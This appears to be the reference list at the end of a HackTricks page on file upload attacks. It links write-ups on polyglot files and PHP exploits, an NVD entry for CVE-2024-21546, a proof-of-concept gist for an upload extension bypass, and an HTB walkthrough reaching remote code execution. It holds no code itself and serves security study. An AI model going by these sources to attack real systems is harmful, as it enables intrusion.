- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}